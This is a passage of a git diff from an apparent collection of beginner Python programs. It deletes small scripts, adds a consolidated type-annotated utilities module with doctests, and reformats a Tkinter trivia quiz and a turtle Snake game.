") - -# remove punctuation from the string -no_punct = "" -for char in my_str: - if char not in punctuations: - no_punct = no_punct + char - -# display the unpunctuated string -print(no_punct) diff --git a/Python Programs/Python Program to Reverse a linked list.py b/Python Programs/Python Program to Reverse a linked list.py deleted file mode 100644 index e636a0df632..00000000000 --- a/Python Programs/Python Program to Reverse a linked list.py +++ /dev/null @@ -1,56 +0,0 @@ -# Python program to reverse a linked list -# Time Complexity : O(n) -# Space Complexity : O(1) - -# Node class -class Node: - # Constructor to initialize the node object - def __init__(self, data): - self.data = data - self.next = None - - -class LinkedList: - # Function to initialize head - def __init__(self): - self.head = None - - # Function to reverse the linked list - def reverse(self): - prev = None - current = self.head - while current is not None: - next = current.next - current.next = prev - prev = current - current = next - self.head = prev - - # Function to insert a new node at the beginning - def push(self, new_data): - new_node = Node(new_data) - new_node.next = self.head - self.head = new_node - - # Utility function to print the linked LinkedList - def printList(self): - temp = self.head - while temp: - print(temp.data) - temp = temp.next - - -# Driver program to test above functions -llist = LinkedList() -llist.push(20) -llist.push(4) -llist.push(15) -llist.push(85) - -print("Given Linked List") -llist.printList() -llist.reverse() -print("\nReversed Linked List") -llist.printList() - -# This code is contributed by Nikhil Kumar Singh(nickzuck_007) diff --git a/Python Programs/Python Program to Sort Words in Alphabetic Order.py b/Python Programs/Python Program to Sort Words in Alphabetic Order.py deleted file mode 100644 index 737f88c5a8e..00000000000 --- a/Python Programs/Python Program to Sort Words in Alphabetic Order.py +++ /dev/null @@ -1,42 +0,0 @@ -# Program to sort words alphabetically and put them in a dictionary with corresponding numbered keys -# We are also removing punctuation to ensure the desired output, without importing a library for assistance. - -# Declare base variables -word_Dict = {} -count = 0 -my_str = "Hello this Is an Example With cased letters. Hello, this is a good string" -# Initialize punctuation -punctuations = """!()-[]{};:'",<>./?@#$%^&*_~""" - -# To take input from the user -# my_str = input("Enter a string: ") - -# remove punctuation from the string and use an empty variable to put the alphabetic characters into -no_punct = "" -for char in my_str: - if char not in punctuations: - no_punct = no_punct + char - -# Make all words in string lowercase. my_str now equals the original string without the punctuation -my_str = no_punct.lower() - -# breakdown the string into a list of words -words = my_str.split() - -# sort the list and remove duplicate words -words.sort() - -new_Word_List = [] -for word in words: - if word not in new_Word_List: - new_Word_List.append(word) - else: - continue - -# insert sorted words into dictionary with key - -for word in new_Word_List: - count += 1 - word_Dict[count] = word - -print(word_Dict) diff --git a/Python Programs/Python Program to Transpose a Matrix.py b/Python Programs/Python Program to Transpose a Matrix.py deleted file mode 100644 index d636ebcfa6a..00000000000 --- a/Python Programs/Python Program to Transpose a Matrix.py +++ /dev/null @@ -1,12 +0,0 @@ -X = [[12, 7], [4, 5], [3, 8]] - -result = [[0, 0, 0], [0, 0, 0]] - -# iterate through rows -for i in range(len(X)): - # iterate through columns - for j in range(len(X[0])): - result[j][i] = X[i][j] - -for r in result: - print(r) diff --git a/Python Programs/Python Programs.py b/Python Programs/Python Programs.py new file mode 100644 index 00000000000..005a202766a --- /dev/null +++ b/Python Programs/Python Programs.py @@ -0,0 +1,470 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +""" +Comprehensive Utilities Collection + +This module contains a collection of common algorithms and utilities, +including number theory, string manipulation, linked list operations, +and classic puzzles. All functions are optimized and fully type-annotated. + +Functions: + - reverse_number(num) + - print_table(n) + - reverse_linked_list_recursive(head) + - reverse_linked_list_iterative(head) + - factorial(n) + - sqrt(num) + - product_of_unique_prime_factors(n) # uses sympy for speed + - tower_of_hanoi(n, source, dest, aux) + - count_vowels(text) + - lcm(a, b) + - fibonacci_recursive(n) + - fibonacci_sequence(n) + - mail_merge(names_file, body_file) + - remove_punctuation(text) + - sort_words(text) + - transpose_matrix(matrix) + +Dependencies: + - sympy (for prime factors) +""" + +import math +import sys +from typing import List, Optional, Dict +from sympy import primefactors + + +# ---------- Linked List Node ---------- +class Node: + """Singly linked list node.""" + + def __init__(self, data: int) -> None: + self.data: int = data + self.next: Optional["Node"] = None + + +# ---------- 1. Reverse a number ---------- +def reverse_number(num: int) -> int: + """ + Reverse the digits of an integer. + + Args: + num: A non-negative integer. + + Returns: + The reversed integer. + + Examples: + >>> reverse_number(12345) + 54321 + >>> reverse_number(1000) + 1 + >>> reverse_number(0) + 0 + """ + if num < 0: + raise ValueError("num must be non-negative") + rev = 0 + while num > 0: + rev = rev * 10 + num % 10 + num //= 10 + return rev + + +# ---------- 2. Print multiplication table ---------- +def print_table(n: int, upto: int = 10) -> None: + """ + Print the multiplication table for n from 1 to upto. + + Args: + n: The number. + upto: Upper limit (default 10). + + Examples: + >>> print_table(2, 3) + 2 x 1 = 2 + 2 x 2 = 4 + 2 x 3 = 6 + """ + for i in range(1, upto + 1): + print(f"{n} x {i} = {n * i}") + + +# ---------- 3. Reverse Linked List (Recursive) ---------- +def reverse_linked_list_recursive(head: Optional[Node]) -> Optional[Node]: + """ + Reverse a singly linked list recursively. + + Args: + head: Head node of the list. + + Returns: + New head of the reversed list. + + Examples: + >>> head = Node(1); head.next = Node(2); head.next.next = Node(3) + >>> new = reverse_linked_list_recursive(head) + >>> new.data, new.next.data, new.next.next.data + (3, 2, 1) + """ + if head is None or head.next is None: + return head + new_head = reverse_linked_list_recursive(head.next) + head.next.next = head + head.next = None + return new_head + + +# ---------- 4. Reverse Linked List (Iterative) ---------- +def reverse_linked_list_iterative(head: Optional[Node]) -> Optional[Node]: + """ + Reverse a singly linked list iteratively. + + Args: + head: Head node. + + Returns: + New head of the reversed list. + + Examples: + >>> head = Node(10); head.next = Node(20) + >>> new = reverse_linked_list_iterative(head) + >>> new.data, new.next.data + (20, 10) + """ + prev = None + curr = head + while curr is not None: + nxt = curr.next + curr.next = prev + prev = curr + curr = nxt + return prev + + +# ---------- 5. Factorial ---------- +def factorial(n: int) -> int: + """ + Compute the factorial of n (n!) using an iterative method. + + Args: + n: Non-negative integer. + + Returns: + n! (0! = 1). + + Raises: + ValueError: If n is negative. + + Examples: + >>> factorial(5) + 120 + >>> factorial(0) + 1 + """ + if n < 0: + raise ValueError("n must be >= 0") + if n <= 1: + return 1 + result = 1 + for i in range(2, n + 1): + result *= i + return result + + +# ---------- 6. Square Root ---------- +def sqrt(num: float) -> float: + """ + Compute the square root of a non-negative number. + + Args: + num: Non-negative float or int. + + Returns: + The square root. + + Raises: + ValueError: If num is negative. + + Examples: + >>> sqrt(9.0) + 3.0 + >>> sqrt(2) + 1.4142135623730951 + """ + if num < 0: + raise ValueError("Cannot compute square root of negative number") + return math.sqrt(num) + + +# ---------- 7. Product of unique prime factors (SymPy accelerated) ---------- +def product_of_unique_prime_factors(n: int) -> int: + """ + Compute the product of distinct prime factors of n. + + This function uses SymPy's primefactors for fast computation. + + Args: + n: Positive integer. + + Returns: + Product of unique prime factors. + + Raises: + ValueError: If n < 1. + + Examples: + >>> product_of_unique_prime_factors(44) + 22 + >>> product_of_unique_prime_factors(12) + 6 + """ + if n < 1: + raise ValueError("n must be >= 1") + prod = 1 + for p in primefactors(n): + prod *= p + return prod + + +# ---------- 8. Tower of Hanoi ---------- +def tower_of_hanoi(n: int, source: str, dest: str, aux: str) -> None: + """ + Solve the Tower of Hanoi puzzle and print the moves. + + Args: + n: Number of disks. + source: Name of source peg. + dest: Name of destination peg. + aux: Name of auxiliary peg. + + Examples: + >>> tower_of_hanoi(1, 'A', 'B', 'C') + Move disk 1 from source A to destination B + """ + if n == 1: + print(f"Move disk 1 from source {source} to destination {dest}") + return + tower_of_hanoi(n - 1, source, aux, dest) + print(f"Move disk {n} from source {source} to destination {dest}") + tower_of_hanoi(n - 1, aux, dest, source) + + +# ---------- 9. Count vowels ---------- +def count_vowels(text: str) -> Dict[str, int]: + """ + Count the occurrences of each vowel (a, e, i, o, u) in a string. + + Args: + text: Input string. + + Returns: + Dictionary with vowels as keys and counts as values. + + Examples: + >>> count_vowels("Hello World") + {'a': 0, 'e': 1, 'i': 0, 'o': 2, 'u': 0} + """ + vowels = "aeiou" + text_lower = text.lower() + count = {v: 0 for v in vowels} + for ch in text_lower: + if ch in count: + count[ch] += 1 + return count + + +# ---------- 10. Least Common Multiple (LCM) ---------- +def lcm(a: int, b: int) -> int: + """ + Compute the least common multiple of two positive integers. + + Args: + a, b: Positive integers. + + Returns: + LCM of a and b. + + Raises: + ValueError: If either is <= 0. + + Examples: + >>> lcm(54, 24) + 216 + >>> lcm(7, 3) + 21 + """ + if a <= 0 or b <= 0: + raise ValueError("Both arguments must be positive") + return abs(a * b) // math.gcd(a, b) + + +# ---------- 11. Fibonacci (Recursive) ---------- +def fibonacci_recursive(n: int) -> int: + """ + Return the n-th Fibonacci number (0-indexed) recursively. + + Args: + n: Non-negative integer. + + Returns: + Fibonacci number F(n) with F(0)=0, F(1)=1. + + Raises: + ValueError: If n < 0. + + Examples: + >>> fibonacci_recursive(0) + 0 + >>> fibonacci_recursive(6) + 8 + """ + if n < 0: + raise ValueError("n must be >= 0") + if n <= 1: + return n + return fibonacci_recursive(n - 1) + fibonacci_recursive(n - 2) + + +# ---------- 12. Fibonacci Sequence (Iterative) ---------- +def fibonacci_sequence(n: int) -> List[int]: + """ + Generate the first n Fibonacci numbers (starting from F(0)=0). + + Args: + n: Number of terms (n >= 0). + + Returns: + List of the first n Fibonacci numbers. + + Raises: + ValueError: If n < 0. + + Examples: + >>> fibonacci_sequence(5) + [0, 1, 1, 2, 3] + >>> fibonacci_sequence(1) + [0] + """ + if n < 0: + raise ValueError("n must be >= 0") + if n == 0: + return [] + seq = [0] * n + if n > 1: + seq[1] = 1 + for i in range(2, n): + seq[i] = seq[i - 1] + seq[i - 2] + return seq + + +# ---------- 13. Mail Merger ---------- +def mail_merge(names_file: str, body_file: str, output_prefix: str = "mail_") -> None: + """ + Merge names from a file with a mail body template and write individual mail files. + + Args: + names_file: Path to file with one name per line. + body_file: Path to file containing the mail body (with placeholders). + output_prefix: Prefix for output filenames. + + The body file can contain a placeholder like {name} which will be replaced. + If no placeholder, the name is prepended as "Hello " line. + + Examples: + Assuming names.txt contains "Alice\\nBob" and body.txt contains "Welcome!", + this will create mail_Alice.txt and mail_Bob.txt. + """ + try: + with open(names_file, "r", encoding="utf-8") as nf: + names = [line.strip() for line in nf if line.strip()] + with open(body_file, "r", encoding="utf-8") as bf: + body_template = bf.read() + except FileNotFoundError as e: + print(f"Error: {e}", file=sys.stderr) + return + + for name in names: + mail_body = body_template.replace("{name}", name) + if "{name}" not in body_template: + mail_body = f"Hello {name}\n{body_template}" + with open(f"{output_prefix}{name}.txt", "w", encoding="utf-8") as mf: + mf.write(mail_body) + + +# ---------- 14. Remove Punctuation ---------- +def remove_punctuation(text: str) -> str: + """ + Remove all punctuation characters from a string. + + Punctuation defined as: !"#$%&'()*+,-./:;<=>?@[\\]^_`{|}~ + + Args: + text: Input string. + + Returns: + String without punctuation. + + Examples: + >>> remove_punctuation("Hello!!!, he said ---and went.") + 'Hello he said and went' + """ + import string + + return "".join(ch for ch in text if ch not in string.punctuation) + + +# ---------- 15. Sort Words Alphabetically ---------- +def sort_words(text: str) -> Dict[int, str]: + """ + Sort all words in a string alphabetically, remove duplicates, and return + a dictionary mapping sequential numbers to each unique word. + + Args: + text: Input string (punctuation removed automatically). + + Returns: + Dictionary {1: first_word, 2: second_word, ...}. + + Examples: + >>> sort_words("Hello world hello") + {1: 'hello', 2: 'world'} + """ + cleaned = remove_punctuation(text).lower() + words = cleaned.split() + seen = set() + unique_sorted = [] + for word in sorted(words): + if word not in seen: + seen.add(word) + unique_sorted.append(word) + return {i + 1: word for i, word in enumerate(unique_sorted)} + + +# ---------- 16. Transpose Matrix ---------- +def transpose_matrix(matrix: List[List[int]]) -> List[List[int]]: + """ + Transpose a 2D matrix (list of lists). + + Args: + matrix: A rectangular matrix. + + Returns: + Transposed matrix. + + Examples: + >>> transpose_matrix([[12, 7], [4, 5], [3, 8]]) + [[12, 4, 3], [7, 5, 8]] + """ + if not matrix: + return [] + rows, cols = len(matrix), len(matrix[0]) + return [[matrix[r][c] for r in range(rows)] for c in range(cols)] + + +# ---------- Demo / Test ---------- +if __name__ == "__main__": + import doctest + + doctest.testmod(verbose=True) diff --git a/Python Programs/python program for finding square root for positive number.py b/Python Programs/python program for finding square root for positive number.py deleted file mode 100644 index 2a2a2dc79b9..00000000000 --- a/Python Programs/python program for finding square root for positive number.py +++ /dev/null @@ -1,10 +0,0 @@ -# Python Program to calculate the square root - -# Note: change this value for a different result -num = 8 - -# To take the input from the user -# num = float(input('Enter a number: ')) - -num_sqrt = num**0.5 -print("The square root of %0.3f is %0.3f" % (num, num_sqrt)) diff --git a/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py index df3e705cbc0..b34c85937b1 100644 --- a/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py +++ b/Quizzler Using Tkinter and Trivia DB API/data_dynamic.py @@ -1,20 +1,17 @@ - -''' +""" This file is responsible for fetching quiz questions from the Open Trivia Database API. -''' +""" import requests -parameters = { - "amount": 10, - "type": "multiple", - "category": 18 -} +parameters = {"amount": 10, "type": "multiple", "category": 18} error_message = "" try: - response = requests.get(url="https://opentdb.com/api.php", params=parameters, timeout=10) + response = requests.get( + url="https://opentdb.com/api.php", params=parameters, timeout=10 + ) response.raise_for_status() # Raise an exception for HTTP errors question_data = response.json()["results"] print("Questions loaded successfully from the API.") diff --git a/Quizzler Using Tkinter and Trivia DB API/data_static.py b/Quizzler Using Tkinter and Trivia DB API/data_static.py index 081bc3982a2..5ea00107aca 100644 --- a/Quizzler Using Tkinter and Trivia DB API/data_static.py +++ b/Quizzler Using Tkinter and Trivia DB API/data_static.py @@ -5,8 +5,8 @@ "incorrect_answers": [ "Increase in hardware prices", "Decrease in computational power", - "Less complex problems for software engineers" - ] + "Less complex problems for software engineers", + ], }, { "question": "How have software engineers coped with the challenges of increasing computational capabilities?", @@ -14,8 +14,8 @@ "incorrect_answers": [ "By reducing programming efforts", "By simplifying programming languages", - "By avoiding large and complex problems" - ] + "By avoiding large and complex problems", + ], }, { "question": "Which of the following is a definition of software engineering according to IEEE?", @@ -23,8 +23,8 @@ "incorrect_answers": [ "The art of writing computer programs", "An engineering approach to developing software", - "A collection of unorganized programming techniques" - ] + "A collection of unorganized programming techniques", + ], }, { "question": "Why is software engineering similar to other engineering disciplines?", @@ -32,8 +32,8 @@ "incorrect_answers": [ "It makes use of subjective judgement and ill understood principles", "It often avoids conflicting goals", - "It relies solely on qualitative attributes" - ] + "It relies solely on qualitative attributes", + ], }, { "question": "Which statement supports the idea that software engineering is not just an art?", @@ -41,8 +41,8 @@ "incorrect_answers": [ "It makes subjective judgement based on qualitative attributes", "It avoids systematic and disciplined approaches", - "It does not require tradeoffs in problem solving" - ] + "It does not require tradeoffs in problem solving", + ], }, { "question": "How have software engineering principles evolved over the last sixty years?", @@ -50,17 +50,13 @@ "incorrect_answers": [ "From a science to an art form", "From a craft to an art form", - "From an engineering discipline to a craft" - ] + "From an engineering discipline to a craft", + ], }, { "question": "Which programming style is characterized by quickly developing a program without any specification, plan, or design?", "correct_answer": "Build and fix", - "incorrect_answers": [ - "Exploratory", - "Code and fix", - "Ad hoc" - ] + "incorrect_answers": ["Exploratory", "Code and fix", "Ad hoc"], }, { "question": "According to the text, what has been a symptom of the present software crisis?", @@ -68,8 +64,8 @@ "incorrect_answers": [ "Decrease in software development costs", "Software products becoming easier to alter and debug", - "Software products being delivered on time" - ] + "Software products being delivered on time", + ], }, { "question": "What is one of the main benefits of adopting software engineering techniques according to the text?", @@ -77,8 +73,8 @@ "incorrect_answers": [ "Increasing hardware costs", "Avoiding the use of scientific principles", - "Making software development more subjective" - ] + "Making software development more subjective", + ], }, { "question": "What is a key characteristic of toy software?", @@ -86,9 +82,9 @@ "incorrect_answers": [ "Developed by a team of professionals", "Large in size and highly complex", - "Thoroughly tested and maintained" - ] - } + "Thoroughly tested and maintained", + ], + }, # { # "question": "What differentiates professional software from toy software?", # "correct_answer": "Professional software is systematically designed, carefully implemented, and thoroughly tested", @@ -188,4 +184,4 @@ # "Data flow-oriented design" # ] # } -] \ No newline at end of file +] diff --git a/Quizzler Using Tkinter and Trivia DB API/main.py b/Quizzler Using Tkinter and Trivia DB API/main.py index 37a038c5d60..c6823ac1964 100644 --- a/Quizzler Using Tkinter and Trivia DB API/main.py +++ b/Quizzler Using Tkinter and Trivia DB API/main.py @@ -1,4 +1,3 @@ - """This file processes the fetched questions and prepares them for use in the quiz.""" from question_model import Question @@ -18,7 +17,7 @@ Question( question["question"], question["correct_answer"], - question["incorrect_answers"] + [question["correct_answer"]] + question["incorrect_answers"] + [question["correct_answer"]], ) for question in question_data ] diff --git a/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py index 53bcf178931..95212861a79 100644 --- a/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py +++ b/Quizzler Using Tkinter and Trivia DB API/quiz_brain.py @@ -1,8 +1,8 @@ - """This file contains the logic that drives the quiz game, including managing the current question, checking answers, and tracking the score.""" import html + class QuizBrain: def __init__(self, q_list): self.question_number = 0 diff --git a/Quizzler Using Tkinter and Trivia DB API/ui.py b/Quizzler Using Tkinter and Trivia DB API/ui.py index 42102c20fac..28cd558ff55 100644 --- a/Quizzler Using Tkinter and Trivia DB API/ui.py +++ b/Quizzler Using Tkinter and Trivia DB API/ui.py @@ -1,4 +1,3 @@ - """This file manages the graphical user interface of the quiz, using Tkinter to display questions, answer options, and the score to the user.""" from tkinter import * @@ -22,20 +21,29 @@ FONT = ("Lucida sans", 20) -class QuizInterface: +class QuizInterface: def __init__(self, quiz_brain: QuizBrain): self.quiz = quiz_brain self.window = Tk() self.window.title("Quizzler") self.window.config(padx=20, pady=20, bg=BACKGROUND) - self.score_label = Label(text="Score: 0", fg="white", bg=BACKGROUND, font=("Lucida sans", 15, "bold")) + self.score_label = Label( + text="Score: 0", fg="white", bg=BACKGROUND, font=("Lucida sans", 15, "bold") + ) self.score_label.grid(row=0, column=1) self.canvas = Canvas(width=1000, height=550, bg=CANVAS) self.question_text = self.canvas.create_text( - 500, 100, width=800, text="Some question text", fill=TEXT, font=FONT, anchor="center", justify="center" + 500, + 100, + width=800, + text="Some question text", + fill=TEXT, + font=FONT, + anchor="center", + justify="center", ) self.canvas.grid(row=1, column=0, columnspan=2, pady=50) @@ -59,8 +67,16 @@ def create_radio_buttons(self): y_position = 230 for i in range(4): radio_button = Radiobutton( - self.canvas, text="", variable=self.opt_selected, value=i + 1, font=FONT, bg=CANVAS, anchor="w", - justify="left", fg=TEXT, wraplength=900 + self.canvas, + text="", + variable=self.opt_selected, + value=i + 1, + font=FONT, + bg=CANVAS, + anchor="w", + justify="left", + fg=TEXT, + wraplength=900, ) radio_buttons.append(radio_button) self.canvas.create_window(50, y_position, window=radio_button, anchor="w") diff --git a/Snake Game Using Turtle/colors.py b/Snake Game Using Turtle/colors.py index 05fac02e5a2..9b4d6ab1db2 100644 --- a/Snake Game Using Turtle/colors.py +++ b/Snake Game Using Turtle/colors.py @@ -2,27 +2,27 @@ This file contains the color palette for the game, now including colors for the new interactive buttons. """ + # A fresh and vibrant color theme # --> food.py FOOD_COLOR = "#C70039" # A bright, contrasting red # --> main.py -BG_COLOR = '#F0F8FF' # AliceBlue, a very light and clean background +BG_COLOR = "#F0F8FF" # AliceBlue, a very light and clean background # --> scoreboard.py -GAME_OVER_COLOR = '#D21312' # Strong red for game over message -SCORE_COLOR = '#27374D' # Dark blue for high-contrast text -MESSAGE_COLOR = '#27374D' # Consistent dark blue for other messages +GAME_OVER_COLOR = "#D21312" # Strong red for game over message +SCORE_COLOR = "#27374D" # Dark blue for high-contrast text +MESSAGE_COLOR = "#27374D" # Consistent dark blue for other messages # --> snake.py -FIRST_SEGMENT_COLOR = '#006400' # DarkGreen for the snake's head -BODY_COLOR = '#2E8B57' # SeaGreen for the snake's body +FIRST_SEGMENT_COLOR = "#006400" # DarkGreen for the snake's head +BODY_COLOR = "#2E8B57" # SeaGreen for the snake's body # --> wall.py -WALL_COLOR = '#27374D' # Dark blue for a solid, visible border +WALL_COLOR = "#27374D" # Dark blue for a solid, visible border # --> UI Controls (Buttons) BUTTON_BG_COLOR = "#526D82" BUTTON_TEXT_COLOR = "#F0F8FF" BUTTON_BORDER_COLOR = "#27374D" - diff --git a/Snake Game Using Turtle/food.py b/Snake Game Using Turtle/food.py index 59dcd5eb740..72a141aea94 100644 --- a/Snake Game Using Turtle/food.py +++ b/Snake Game Using Turtle/food.py @@ -7,8 +7,10 @@ import random import colors + class Food(Turtle): - """ This class generates food for the snake to eat. """ + """This class generates food for the snake to eat.""" + def __init__(self): super().__init__() self.shape("circle") @@ -24,4 +26,3 @@ def refresh(self, left_wall, right_wall, bottom_wall, top_wall): random_x = random.randint(int(left_wall) + margin, int(right_wall) - margin) random_y = random.randint(int(bottom_wall) + margin, int(top_wall) - margin) self.goto(random_x, random_y) - diff --git a/Snake Game Using Turtle/main.py b/Snake Game Using Turtle/main.py index 9b874f1a3df..7656b574656 100644 --- a/Snake Game Using Turtle/main.py +++ b/Snake Game Using Turtle/main.py @@ -3,6 +3,7 @@ It handles screen setup, dynamic boundaries, UI controls (buttons), game state management, and the main game loop. """ + from turtle import Screen, Turtle from snake import Snake from food import Food @@ -43,17 +44,18 @@ # --- UI CONTROLS (BUTTONS) --- buttons = {} # Dictionary to hold button turtles and their properties + def create_button(name, x, y, width=120, height=40): """Creates a turtle-based button with a label.""" - if name in buttons and buttons[name]['turtle'] is not None: - buttons[name]['turtle'].clear() + if name in buttons and buttons[name]["turtle"] is not None: + buttons[name]["turtle"].clear() button_turtle = Turtle() button_turtle.hideturtle() button_turtle.penup() button_turtle.speed("fastest") - button_turtle.goto(x - width/2, y - height/2) + button_turtle.goto(x - width / 2, y - height / 2) button_turtle.color(colors.BUTTON_BORDER_COLOR, colors.BUTTON_BG_COLOR) button_turtle.begin_fill() for _ in range(2): @@ -67,13 +69,22 @@ def create_button(name, x, y, width=120, height=40): button_turtle.color(colors.BUTTON_TEXT_COLOR) button_turtle.write(name, align="center", font=("Lucida Sans", 14, "bold")) - buttons[name] = {'turtle': button_turtle, 'x': x, 'y': y, 'w': width, 'h': height, 'visible': True} + buttons[name] = { + "turtle": button_turtle, + "x": x, + "y": y, + "w": width, + "h": height, + "visible": True, + } + def hide_button(name): """Hides a button by clearing its turtle.""" - if name in buttons and buttons[name]['visible']: - buttons[name]['turtle'].clear() - buttons[name]['visible'] = False + if name in buttons and buttons[name]["visible"]: + buttons[name]["turtle"].clear() + buttons[name]["visible"] = False + def manage_buttons(): """Shows or hides buttons based on the current game state.""" @@ -93,6 +104,7 @@ def manage_buttons(): elif game_state == "game_over": create_button("Restart", btn_x, btn_y) + # --- GAME LOGIC & STATE TRANSITIONS --- def start_game(): global game_state @@ -100,6 +112,7 @@ def start_game(): game_state = "playing" scoreboard.update_scoreboard() + def toggle_pause_resume(): global game_state if game_state == "playing": @@ -109,6 +122,7 @@ def toggle_pause_resume(): game_state = "playing" scoreboard.update_scoreboard() + def restart_game(): global game_state if game_state == "game_over": @@ -117,14 +131,18 @@ def restart_game(): food.refresh(LEFT_WALL, RIGHT_WALL, BOTTOM_WALL, TOP_WALL) scoreboard.reset() + def is_click_on_button(name, x, y): """Checks if a click (x, y) is within the bounds of a visible button.""" - if name in buttons and buttons[name]['visible']: + if name in buttons and buttons[name]["visible"]: btn = buttons[name] - return (btn['x'] - btn['w']/2 < x < btn['x'] + btn['w']/2 and - btn['y'] - btn['h']/2 < y < btn['y'] + btn['h']/2) + return ( + btn["x"] - btn["w"] / 2 < x < btn["x"] + btn["w"] / 2 + and btn["y"] - btn["h"] / 2 < y < btn["y"] + btn["h"] / 2 + ) return False + def handle_click(x, y): """Main click handler to delegate actions based on button clicks.""" if game_state == "start" and is_click_on_button("Play", x, y): @@ -136,24 +154,32 @@ def handle_click(x, y): elif game_state == "game_over" and is_click_on_button("Restart", x, y): restart_game() + # --- KEYBOARD HANDLERS --- def handle_snake_up(): if game_state in ["start", "playing"]: start_game() snake.up() + + def handle_snake_down(): if game_state in ["start", "playing"]: start_game() snake.down() + + def handle_snake_left(): if game_state in ["start", "playing"]: start_game() snake.left() + + def handle_snake_right(): if game_state in ["start", "playing"]: start_game() snake.right() + # --- KEY & MOUSE BINDINGS --- screen.listen() screen.onkey(handle_snake_up, "Up") @@ -165,6 +191,7 @@ def handle_snake_right(): screen.onkey(restart_game, "R") screen.onclick(handle_click) + # --- MAIN GAME LOOP --- def game_loop(): global game_state @@ -176,7 +203,10 @@ def game_loop(): snake.extend() scoreboard.increase_score() # Collision with wall - if not (LEFT_WALL < snake.head.xcor() < RIGHT_WALL and BOTTOM_WALL < snake.head.ycor() < TOP_WALL): + if not ( + LEFT_WALL < snake.head.xcor() < RIGHT_WALL + and BOTTOM_WALL < snake.head.ycor() < TOP_WALL + ): game_state = "game_over" scoreboard.game_over() # Collision with tail @@ -188,8 +218,8 @@ def game_loop(): screen.update() screen.ontimer(game_loop, MOVE_DELAY_MS) + # --- INITIALIZE GAME --- scoreboard.display_start_message() game_loop() screen.exitonclick() - diff --git a/Snake Game Using Turtle/scoreboard.py b/Snake Game Using Turtle/scoreboard.py index 4ca9265071c..d6e635987ec 100644 --- a/Snake Game Using Turtle/scoreboard.py +++ b/Snake Game Using Turtle/scoreboard.py @@ -2,6 +2,7 @@ This file manages the display of the score, high score, and game messages. It now positions the score dynamically in the top-left corner. """ + from turtle import Turtle, Screen import colors @@ -11,8 +12,10 @@ MESSAGE_FONT = ("Courier", 40, "bold") INSTRUCTION_FONT = ("Lucida Sans", 16, "normal") + class Scoreboard(Turtle): - """ This class maintains the scoreboard, high score, and game messages. """ + """This class maintains the scoreboard, high score, and game messages.""" + def __init__(self): super().__init__() self.screen = Screen() # Get access to the screen object @@ -27,7 +30,7 @@ def load_high_score(self): try: with open("highscore.txt", mode="r") as file: return int(file.read()) - except (FileNotFoundError, ValueError): + except FileNotFoundError, ValueError: return 0 def update_scoreboard(self): @@ -38,7 +41,11 @@ def update_scoreboard(self): x_pos = -self.screen.window_width() / 2 + 30 y_pos = self.screen.window_height() / 2 - 60 self.goto(x_pos, y_pos) - self.write(f"Score: {self.score} | High Score: {self.high_score}", align=ALIGNMENT, font=SCORE_FONT) + self.write( + f"Score: {self.score} | High Score: {self.high_score}", + align=ALIGNMENT, + font=SCORE_FONT, + ) def increase_score(self): """Increases score and updates the display.""" @@ -60,7 +67,9 @@ def game_over(self): self.color(colors.GAME_OVER_COLOR) self.write("GAME OVER", align="center", font=MESSAGE_FONT) self.goto(0, -40) - self.write("Click 'Restart' or Press 'R'", align="center", font=INSTRUCTION_FONT) + self.write( + "Click 'Restart' or Press 'R'", align="center", font=INSTRUCTION_FONT + ) def display_pause(self): """Displays the PAUSED message.""" @@ -68,13 +77,18 @@ def display_pause(self): self.color(colors.MESSAGE_COLOR) self.write("PAUSED", align="center", font=MESSAGE_FONT) self.goto(0, -40) - self.write("Click 'Resume' or Press 'Space'", align="center", font=INSTRUCTION_FONT) - + self.write( + "Click 'Resume' or Press 'Space'", align="center", font=INSTRUCTION_FONT + ) + def display_start_message(self): """Displays the welcome message and starting instructions.""" self.goto(0, 40) self.color(colors.MESSAGE_COLOR) self.write("SNAKE GAME", align="center", font=MESSAGE_FONT) self.goto(0, -40) - self.write("Click 'Play' or an Arrow Key to Start", align="center", font=INSTRUCTION_FONT) - + self.write( + "Click 'Play' or an Arrow Key to Start", + align="center", + font=INSTRUCTION_FONT, + ) diff --git a/Snake Game Using Turtle/snake.py b/Snake Game Using Turtle/snake.py index e9fb153c317..70e7b02200d 100644 --- a/Snake Game Using Turtle/snake.py +++ b/Snake Game Using Turtle/snake.py @@ -2,6 +2,7 @@ This file is responsible for creating the snake and managing its movement, extension, and reset functionality. """ + from turtle import Turtle import colors @@ -9,21 +10,23 @@ MOVE_DISTANCE = 20 UP, DOWN, LEFT, RIGHT = 90, 270, 180, 0 + class Snake: - """ This class creates a snake body and contains methods for movement and extension. """ + """This class creates a snake body and contains methods for movement and extension.""" + def __init__(self): self.segments = [] self.create_snake() self.head = self.segments[0] def create_snake(self): - """ Creates the initial snake body. """ + """Creates the initial snake body.""" for position in STARTING_POSITIONS: self.add_segment(position) self.segments[0].color(colors.FIRST_SEGMENT_COLOR) def add_segment(self, position): - """ Adds a new segment to the snake. """ + """Adds a new segment to the snake.""" new_segment = Turtle(shape="square") new_segment.penup() new_segment.goto(position) @@ -31,12 +34,12 @@ def add_segment(self, position): self.segments.append(new_segment) def extend(self): - """ Adds a new segment to the snake's tail. """ + """Adds a new segment to the snake's tail.""" self.add_segment(self.segments[-1].position()) self.segments[0].color(colors.FIRST_SEGMENT_COLOR) def move(self): - """ Moves the snake forward by moving each segment to the position of the one in front.""" + """Moves the snake forward by moving each segment to the position of the one in front.""" for i in range(len(self.segments) - 1, 0, -1): x = self.segments[i - 1].xcor() y = self.segments[i - 1].ycor() @@ -70,4 +73,3 @@ def right(self): """Turns the snake's head to the right, preventing it from reversing.""" if self.head.heading() != LEFT: self.head.setheading(RIGHT) - diff --git a/Snake Game Using Turtle/wall.py b/Snake Game Using Turtle/wall.py index dc47848961b..b99d9704782 100644 --- a/Snake Game Using Turtle/wall.py +++ b/Snake Game Using Turtle/wall.py @@ -3,8 +3,10 @@ from turtle import Turtle, Screen import colors + class Wall: - """ This class creates a wall around the game screen that adjusts to its dimensions. """ + """This class creates a wall around the game screen that adjusts to its dimensions.""" + def __init__(self): self.screen = Screen() self.create_wall() @@ -43,4 +45,3 @@ def create_wall(self): wall.goto(right - 10, top - 70) self.screen.update() - diff --git a/Sum of digits of a number.py b/Sum of digits of a number.py index 